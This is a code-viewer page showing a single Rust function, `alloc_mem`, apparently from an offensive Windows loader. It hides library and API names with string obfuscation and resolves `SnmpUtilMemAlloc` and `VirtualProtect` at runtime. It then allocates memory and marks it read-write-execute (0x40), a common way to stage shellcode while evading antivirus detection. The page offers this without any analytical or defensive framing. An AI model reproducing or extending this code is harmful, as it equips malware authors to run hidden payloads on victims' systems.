(size: usize)
| 1 | use crate::utils::{load_library, get_proc_address}; |
| 2 | #[allow(dead_code)] |
| 3 | pub unsafe fn alloc_mem(size: usize) -> Result<*mut u8, String> { |
| 4 | use obfstr::{obfstr, obfbytes}; |
| 5 | use core::ffi::c_void; |
| 6 | |
| 7 | type SnmpUtilMemAllocFn = unsafe extern "system" fn(n_bytes: u32) -> *mut c_void; |
| 8 | type VirtualProtectFn = unsafe extern "system" fn(lp_address: *mut c_void, dw_size: usize, fl_new_protect: u32, lpfl_old_protect: *mut u32) -> i32; |
| 9 | |
| 10 | let snmpapi = load_library(obfbytes!(b"snmpapi.dll\0").as_slice())?; |
| 11 | let kernel32 = load_library(obfbytes!(b"kernel32.dll\0").as_slice())?; |
| 12 | |
| 13 | let snmp_alloc: SnmpUtilMemAllocFn = core::mem::transmute(get_proc_address(snmpapi, obfbytes!(b"SnmpUtilMemAlloc\0").as_slice())?); |
| 14 | let virtual_protect: VirtualProtectFn = core::mem::transmute(get_proc_address(kernel32, obfbytes!(b"VirtualProtect\0").as_slice())?); |
| 15 | |
| 16 | let p = snmp_alloc(size as u32); |
| 17 | if p.is_null() { |
| 18 | return Err(obfstr!("SnmpUtilMemAlloc failed").to_string()); |
| 19 | } |
| 20 | |
| 21 | let mut old_protect = 0u32; |
| 22 | let ok = virtual_protect(p, size, 0x40, &mut old_protect); |
| 23 | if ok == 0 { |
| 24 | return Err(obfstr!("VirtualProtect failed").to_string()); |
| 25 | } |
| 26 | |
| 27 | Ok(p as *mut u8) |
| 28 | } |
nothing calls this directly
no test coverage detected